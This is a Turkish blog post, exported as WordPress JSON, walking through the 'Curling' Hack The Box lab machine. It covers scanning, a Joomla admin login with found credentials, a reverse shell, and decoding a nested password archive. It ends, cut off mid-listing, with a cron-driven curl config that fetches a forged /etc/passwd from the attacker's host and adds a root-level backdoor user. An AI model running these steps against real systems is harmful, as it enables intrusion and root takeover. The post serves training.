{"id":1578,"date":"2021-10-03T02:28:09","date_gmt":"2021-10-03T02:28:09","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1578"},"modified":"2021-10-03T02:28:09","modified_gmt":"2021-10-03T02:28:09","slug":"curling","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/10\/03\/curling\/","title":{"rendered":"Curling"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Curling<\/a> - HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131:<\/p>\n

\u250c\u2500\u2500(root💀kali)-[~]                                                                                                                                                                                                                           \n\u2514\u2500# nmap -p- -A -T4 10.10.10.150                                                                                                                                                                                                              \nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-10-02 19:54 EDT                                                                                                                                                                               \nNmap scan report for 10.10.10.150                                                                                                                                                                                                             \nHost is up (0.067s latency).                                                                                                                                                                                                                  \nNot shown: 65533 closed ports                                                                                                                                                                                                                 \nPORT   STATE SERVICE VERSION                                                                                                                                                                                                                  \n22\/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)                                                                                                                                                             \n| ssh-hostkey:                                                                                                                                                                                                                                \n|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)                                                                                                                                                                                \n|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)                                                                                                                                                                               \n|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)                                                                                                                                                                             \n80\/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))                                                                                                                                                                                           \n|_http-generator: Joomla! - Open Source Content Management                                                                                                                                                                                    \n|_http-server-header: Apache\/2.4.29 (Ubuntu)                                                                                                                                                                                                  \n|_http-title: Home                                                                                                                                                                                                                            \nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).                                                                                                                                           \nTCP\/IP fingerprint:                                                                                                                                                                                                                           \nOS:SCAN(V=7.91%E=4%D=10\/2%OT=22%CT=1%CU=36525%PV=Y%DS=2%DC=T%G=Y%TM=6158F16                                                                                                                                                                   \nOS:4%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS                                                                                                                                                                   \nOS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1                                                                                                                                                                   \nOS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN                                                                                                                                                                   \nOS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A                                                                                                                                                                   \nOS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R                                                                                                                                                                   \nOS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F                                                                                                                                                                   \nOS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%                                                                                                                                                                   \nOS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD                                                                                                                                                                   \nOS:=S)                                                                                                                                                                                                                                        \n\nNetwork Distance: 2 hops                                                                                                                                                                                                                      \nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel                                                                                                                                                                                       \n\nTRACEROUTE (using port 443\/tcp)                                                                                                                                                                                                               \nHOP RTT      ADDRESS                                                                                                                                                                                                                          \n1   67.56 ms 10.10.14.1                                                                                                                                                                                                                       \n2   68.24 ms 10.10.10.150                                                                                                                                                                                                                     \n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .                                                                                                                                         \nNmap done: 1 IP address (1 host up) scanned in 48.56 seconds <\/code><\/pre>\n
Port 80'e gobuster taraas\u0131 ger\u00e7ekle\u015ftirdim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]                                                                                                                                                                                                                     [6\/57]\n\u2514\u2500# gobuster dir --add-slash --expanded --follow-redirect --url http:\/\/10.10.10.150\/ --no-error -t 50 --wordlist \/usr\/share\/wordlists\/dirb\/big.txt --extensions php,html,txt                                                                  \n===============================================================                                                                                                                                                                               \nGobuster v3.1.0                                                                                                                                                                                                                               \nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/10.10.10.150\/\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              txt,php,html\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/10\/02 21:29:41 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/10.10.10.150\/.htpasswd\/           (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/.htpasswd.php        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/.htpasswd.html       (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/.htpasswd.txt        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/.htaccess.php        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/.htaccess.html       (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/.htaccess.txt        (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/.htaccess\/           (Status: 403) [Size: 277]\nhttp:\/\/10.10.10.150\/LICENSE.txt          (Status: 200) [Size: 18092]\nhttp:\/\/10.10.10.150\/README.txt           (Status: 200) [Size: 4872] \nhttp:\/\/10.10.10.150\/administrator\/       (Status: 200) [Size: 5110] \nhttp:\/\/10.10.10.150\/bin\/                 (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/cache\/               (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/cli\/                 (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/components\/          (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/configuration.php    (Status: 200) [Size: 0]    \nhttp:\/\/10.10.10.150\/htaccess.txt         (Status: 200) [Size: 3005] \nhttp:\/\/10.10.10.150\/icons\/               (Status: 403) [Size: 277]  \nhttp:\/\/10.10.10.150\/images\/              (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/includes\/            (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/index.php            (Status: 200) [Size: 14270]\nhttp:\/\/10.10.10.150\/language\/            (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/layouts\/             (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/libraries\/           (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/media\/               (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/modules\/             (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/plugins\/             (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/secret.txt           (Status: 200) [Size: 17]   \nhttp:\/\/10.10.10.150\/server-status\/       (Status: 403) [Size: 277]  \nhttp:\/\/10.10.10.150\/templates\/           (Status: 200) [Size: 31]   \nhttp:\/\/10.10.10.150\/tmp\/                 (Status: 200) [Size: 31]\n===============================================================\n2021\/10\/02 21:31:56 Finished\n===============================================================\n<\/code><\/pre>\n
\/secret.txt sayfas\u0131na gitti\u011fimizde base64 veri g\u00f6rd\u00fcm ve hemen bunu decode ettim.<\/p>\n
http:\/\/10.10.10.150\/secret.txt:Curling2018!<\/code><\/pre>\n
Daha sonras\u0131nda http:\/\/10.10.10.150\/index.php\/2-uncategorised\/1-first-post-of-curling2018<\/a><\/strong> sayfas\u0131nda floris<\/strong> isimli bir kullan\u0131c\u0131 buldum.<\/p>\n
http:\/\/10.10.10.150\/administrator\/<\/a><\/strong> sayfas\u0131nda joomla bulunuyordu. Bu credential'lar ile giri\u015f yapay\u0131 denedim ve ba\u015far\u0131l\u0131 oldum.<\/p>\n
https:\/\/www.hackingarticles.in\/joomla-reverse-shell\/<\/a><\/strong> adresindeki talimatlar\u0131 izleyerek sunucudan reverse shell ald\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/ssl\/Simetrik]\n\u2514\u2500# nc -lvp 1234                                                                                                                                                                                                                          1 \u2a2f\nlistening on [any] 1234 ...\n10.10.10.150: inverse host lookup failed: Unknown host\nconnect to [10.10.14.21] from (UNKNOWN) [10.10.10.150] 41968\nLinux curling 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 x86_64 x86_64 GNU\/Linux\n 21:37:15 up  1:26,  0 users,  load average: 0.00, 0.71, 0.94\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\/bin\/sh: 0: can't access tty; job control turned off\n$ id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n$ <\/code><\/pre>\n
Daha sonras\u0131nda sunucuda enumaration yapmaya ba\u015flad\u0131m. Mysql hesab\u0131n\u0131n config dosyas\u0131ndan parolas\u0131n\u0131 ald\u0131m ancak bir i\u015fime yaramad\u0131. \u0130ncelemelerim esnas\u0131nda  \/home\/floris\/password_backup<\/strong> dosyas\u0131n\u0131 buldum. Dosya i\u00e7erisini okudu\u011fumda hexedit gibi bir programla a\u00e7\u0131lm\u0131\u015f gibi bir i\u00e7erikle akr\u015f\u0131la\u015ft\u0131m.<\/p>\n
                                                               \u2502Extracting archive: password.out\n$ cd \/home                                                                                                             \u2502--\n$ ls                                                                                                                   \u2502Path = password.out\nfloris                                                                                                                 \u2502Type = tar\n$ cd floris                                                                                                            \u2502Physical Size = 10240\n$ ls                                                                                                                   \u2502Headers Size = 9728\nadmin-area                                                                                                             \u2502Code Page = UTF-8\npassword_backup                                                                                                        \u2502\nuser.txt                                                                                                               \u2502Everything is Ok\n$ cat password_backup                                                                                                  \u2502\n00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..                                                    \u2502Size:       19\n00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4                                                    \u2502Compressed: 10240\n00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`                                                    \u2502                                                                                                                      \n00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......                                                    \u2502\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..                                                    \u2502\u2514\u2500# ls\n00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4                                                    \u2502password.out  password.txt  test\n00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..                                                    \u2502                                                                                                                      \n00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x                                                    \u2502\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1                                                    \u2502\u2514\u2500# cat password.txt \n00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."                                                    \u25025d<wdCbdZu)|hChXll\n000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.                                                    \u2502                                                                                                                      \n000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k.\/... ....)p..                                                    \u2502\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C                                                    \u2502\u2514\u2500# file password.txt \n000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..                                                    \u2502password.txt: ASCII text\n000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.                                                    \u2502                                                                                                                      \n000000f0: 819b bb48                                ...H           <\/code><\/pre>\n
Burdaki dosyan\u0131n ayn\u0131s\u0131n\u0131 (hex olarak) kendi localime kopyalad\u0131m. Daha sonras\u0131nda file<\/code> komutu ile i\u00e7eri\u011fini bakarak a\u015fa\u011f\u0131daki ad\u0131mlar\u0131 takip ettim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# cat test        \nl[passwordrBZh91AY&SY6\u01cd@@Pt t"dhhOPIS@68ET>P@#I b\u0543|3x(*N&Hk1x"{]B@6m   <\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]                                                                                                                                                                                                         \n\u2514\u2500# file test                                                                                                                                                                                                                                 \ntest: bzip2 compressed data, block size = 900k                                                                                                                                                                                                \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]                                                                                                                                                                                                         \n\u2514\u2500# apt install bzip2                                                                                                                                                                                                                         \nReading package lists... Done                                                                                                                                                                                                                 \nBuilding dependency tree... Done                                                                                                                                                                                                              \nReading state information... Done                                                                                                                                                                                                             \nbzip2 is already the newest version (1.0.8-4).                                                                                                                                                                                                \n0 upgraded, 0 newly installed, 0 to remove and 680 not upgraded.                                                                                                                                                                              \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]                                                                                                                                                                                                         \n\u2514\u2500# mv test test.bz2                                                                                                                                                                                                                          \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]                                                                                                                                                                                                         \n\u2514\u2500#  bzip2 -d test.bz2                                     \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# ls                                                     \ntest                                                       \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# ls -al                                                 \ntotal 12                                                   \ndrwxr-xr-x 2 root root 4096 Oct  2 19:04 .\ndrwxr-xr-x 5 root root 4096 Oct  2 19:02 ..\n-rw-r--r-- 1 root root  173 Oct  2 19:02 test\n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# cat test                                               \nl[passwordrBZh91AY&SY6\u01cd@@Pt t"dhhOPIS@68ET>P@#I b\u0543|3x(*N&Hk1x"{]B@6m                                                                                                                       \n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# file test                                              \ntest: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141\n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# 7z l test                                \n\n7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21                                                                                                                                                                           \np7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)         \n\nScanning the drive for archives:\n1 file, 173 bytes (1 KiB)                                  \n\nListing archive: test                                      \n\n--                                                         \nPath = test                                                \nType = gzip                                                \nHeaders Size = 19                                          \n\n   Date      Time    Attr         Size   Compressed  Name\n------------------- ----- ------------ ------------  ------------------------                                          \n2018-05-22 15:16:20 .....          141          173  password                                                          \n------------------- ----- ------------ ------------  ------------------------                                          \n2018-05-22 15:16:20                141          173  1 files                                                           \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# 7z x test                                              \n\n7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21                                                    \np7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)\n\nScanning the drive for archives:\n1 file, 173 bytes (1 KiB)                                  \n\nExtracting archive: test                                   \n--                                                         \nPath = test                                                \nType = gzip                                                \nHeaders Size = 19                                          \n\nEverything is Ok                                           \n\nSize:       141                                            \nCompressed: 173                                            \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# ls                                                     \npassword  test                                             \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# cat password                              \nBZh91AY&SY6\u01cd@@Pt t"dhhOPIS@68ET>P@#I b\u0543|3x(*N&Hk1x"{]B@6                                                                                                                       \n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# file password                                          \npassword: bzip2 compressed data, block size = 900k\n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# bzip2 -d password                                      \nbzip2: Can't guess original name for password -- using password.out                                                    \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# ls                                                     \npassword.out  test                                         \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# file password.out                                      \npassword.out: POSIX tar archive (GNU)\n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# 7z l password.out                                      \n\n7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21                                                    \np7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)\n\nScanning the drive for archives:\n1 file, 10240 bytes (10 KiB)                               \n\nListing archive: password.out\n\n--                                                         \nPath = password.out                                        \nType = tar                                                 \nPhysical Size = 10240                                      \nHeaders Size = 9728                                        \nCode Page = UTF-8                                          \n\n   Date      Time    Attr         Size   Compressed  Name\n------------------- ----- ------------ ------------  ------------------------                                          \n2018-05-22 15:15:47 .....           19          512  password.txt                                                      \n------------------- ----- ------------ ------------  ------------------------                                          \n2018-05-22 15:15:47                 19          512  1 files                                                           \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# 7z x password.out                                      \n\n7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21                                                    \np7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)\n\nScanning the drive for archives:\n1 file, 10240 bytes (10 KiB)                               \n\nExtracting archive: password.out\n--                                                         \nPath = password.out                                        \nType = tar                        \nPhysical Size = 10240                                      \nHeaders Size = 9728                                        \nCode Page = UTF-8                                          \n\nEverything is Ok                                           \n\nSize:       19                                             \nCompressed: 10240                                          \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# ls                                                     \npassword.out  password.txt  test\n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150\/bzip]\n\u2514\u2500# cat password.txt                                       \n5d<wdCbdZu)|hChXll     \n<\/code><\/pre>\n
5d<wdCbdZu)|hChXll<\/strong> floris kullan\u0131c\u0131s\u0131n\u0131n parols\u0131d\u0131r. Uzun bir s\u00fcre enumaration yapt\u0131m en sonunda arka planda \u00e7al\u0131\u015fan processlerde ingin\u00e7 bir\u015feyler buldum.<\/p>\n
pspy arac\u0131n\u0131n \u00e7\u0131kt\u0131s\u0131 (bu arac\u0131 daha \u00f6nce \u00e7ok\u00e7a kulland\u0131k o y\u00fczden indirme ibi k\u0131s\u0131mlar\u0131n\u0131 atl\u0131yoru. Bilmeyenler internette ya da \u00f6nceki yaz\u0131lar\u0131mda bulabilir) a\u015fa\u011f\u0131da verilmi\u015ftir.<\/p>\n
\n2021\/10\/03 00:06:01 CMD: UID=0    PID=17185  | \/bin\/sh -c sleep 1; cat \/root\/default.txt > \/home\/floris\/admin-area\/input \n2021\/10\/03 00:06:01 CMD: UID=0    PID=17184  | \/usr\/sbin\/CRON -f \n2021\/10\/03 00:06:01 CMD: UID=0    PID=17183  | \/usr\/sbin\/CRON -f \n2021\/10\/03 00:06:01 CMD: UID=0    PID=17188  | \/bin\/sh -c curl -K \/home\/floris\/admin-area\/input -o \/home\/floris\/admin-area\/report <\/code><\/pre>\n
curl'un man'\u0131nan bakt\u0131\u011f\u0131m\u0131zda -K<\/code> nin ne oldu\u011funu g\u00f6rebiliyoruz.<\/p>\n
-K, --config <file>\n\n              Specify  a  text  file to read curl arguments from. The command line arguments found in the text file\n              will be used as if they were provided on the command line.\n\n              Options and their parameters must be specified on the same line in the file, separated by whitespace,\n              colon,  or  the equals sign. Long option names can optionally be given in the config file without the\n              initial double dashes and if so, the colon or equals characters can be used as separators. If the op\u2010\n              tion  is  specified with one or two dashes, there can be no colon or equals character between the op\u2010\n              tion and its parameter.\n\n              If the parameter contains whitespace (or starts with : or =), the parameter must be  enclosed  within\n              quotes.  Within  double  quotes, the following escape sequences are available: \\\\, \\", \\t, \\n, \\r and\n              \\v. A backslash preceding any other letter is ignored. If the first column of a config line is a  '#'\n              character, the rest of the line will be treated as a comment. Only write one option per physical line\n              in the config file.\n\n              Specify the filename to -K, --config as '-' to make curl read the file from stdin.\n\n              Note that to be able to specify a URL in the config file, you need to specify it using the --url  op\u2010\n              tion, and not by simply writing the URL on its own line. So, it could look similar to this:\n\n              url = "https:\/\/curl.se\/docs\/"<\/code><\/pre>\n
\u0130nternete biraz ara\u015ft\u0131rma yapt\u0131\u011f\u0131mda istek cevab\u0131n\u0131 bir dosyaya yazabilece\u011fimizide g\u00f6rd\u00fcm. process root oalrak tetikleiyor bende cevab\u0131 \/etc\/passwd dosyas\u0131na yazmaya ba\u015flad\u0131 ve var olan \/etc\/passwd dosyas\u0131\u0131n alt\u0131na hacker isimli bir kullan\u0131c\u0131 ekleyerek ona bir parola tan\u0131mlamas\u0131 ger\u00e7ekeltirdim. Arkaplanda benim a\u00e7m\u0131\u015f oldu\u011fum http sunucuya istek yap\u0131alcak benim olu\u015fturdu\u011fum \/etc\/passwd dosyas\u0131 ecvap olarak d\u00f6n\u00fcp makine i\u00e7erisindeki \/etc\/passwd dosyas\u0131n\u0131n \u00fcst\u00fcne yaz\u0131lacak b\u00f6ylece bir kullan\u0131c\u0131 sistme eklemi\u015f olaca\u011f\u0131z.<\/p>\n
\nfloris@curling:~\/admin-area$ cat input                                                                                                                                                                                                        \nurl = "http:\/\/10.10.14.21:8081\/exploit"                                                                                                                                                                                                       \noutput = "\/etc\/passwd"                                                                                                                                                                                                                        \nfloris@curling:~\/admin-area$ cat \/etc\/passwd                                                                                                                                                                                                  \nroot:x:0:0:root:\/root:\/bin\/bash                                                                                                                                                                                                               \ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin                                                                                                                                                                                               \nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin                                                                                                                                                                                                          \nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin                                                                                                                                                                                                          \nsync:x:4:65534:sync:\/bin:\/bin\/sync                                                                                                                                                                                                            \ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin                                                                                                                                                                                               \nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin                                                                                                                                                                                               \nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin                                                                                                                                                                                                  \nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin                                                                                                                                                                                                   \nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin                                                                                                                                                                                             \nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin                                                                                                                                                                                           \nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin                                                                                                                                                                                                    \nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin                                                                                                                                                                                          \nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin                                                                                                                                                                                          \nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin                                                                                                                                                                                 \nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin                                                                                                                                                                                              \ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin                                                                                                                                                             \nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin                                                                                                                                                                                    \nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin                                                                                                                                                  \nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin                                                                                                                                                          \nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin                                                                                                                                                                                              \nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin                                                                                                                                                                                          \n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin                                                                                                                                                                                              \nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false                                                                                                                                                                                                     \nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin                                                                                                                                                                                                 \ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin                                                                                                                                                                                \nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin\npollinate:x:109:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:110:65534::\/run\/sshd:\/usr\/sbin\/nologin\nfloris:x:1000:1004:floris:\/home\/floris:\/bin\/bash\nmysql:x:111:114:MySQL Server,,,:\/nonexistent:\/bin\/false<\/code><\/pre>\n
Normaldeki \/etc\/passwd dosyas\u0131 yukar\u0131da verilmi\u015ftir. Bu dosyay\u0131 kendi localime kopyalad\u0131m ve alt\u0131na bir kullanc\u0131 ekeldim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150]                                                                                                                                                                                                              \n\u2514\u2500# openssl passwd -1 -salt hacker hacker                                                                         3 ⚙                                                                                                                         \n$1$hacker$TzyKlv0\/R\/c28R.GAeLw.1  <\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150]                                                                                                                                                                                                              \n\u2514\u2500# echo 'hacker:$1$hacker$TzyKlv0\/R\/c28R.GAeLw.1:0:0:Hacker:\/root:\/bin\/bash' >> exploit                          3 ⚙                                                                                                                         \n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150]                                                                                                                                                                                                              \n\u2514\u2500# cat exploit                                                                                                   3 ⚙                                                                                                                         \nroot:x:0:0:root:\/root:\/bin\/bash                                                                                                                                                                                                               \ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin                                                                                                                                                                                               \nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin                                                                                                                                                                                                          \nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin                                                                                                                                                                                                          \nsync:x:4:65534:sync:\/bin:\/bin\/sync                                                                                                                                                                                                            \ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin                                                                                                                                                                                               \nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin                                                                                                                                                                                               \nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin                                                                                                                                                                                                  \nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin                                                                                                                                                                                                   \nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin                                                                                                                                                                                             \nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin                                                                                                                                                                                           \nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin                                                                                                                                                                                                    \nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin                                                                                                                                                                                          \nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin                                                                                                                                                                                          \nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin                                                                                                                                                                                 \nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin                                                                                                                                                                                              \ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin                                                                                                                                                             \nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin                                                                                                                                                                                    \nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin                                                                                                                                                  \nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin                                                                                                                                                          \nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin                                                                                                                                                                                              \nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin                                                                                                                                                                                          \n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin                                                                                                                                                                                              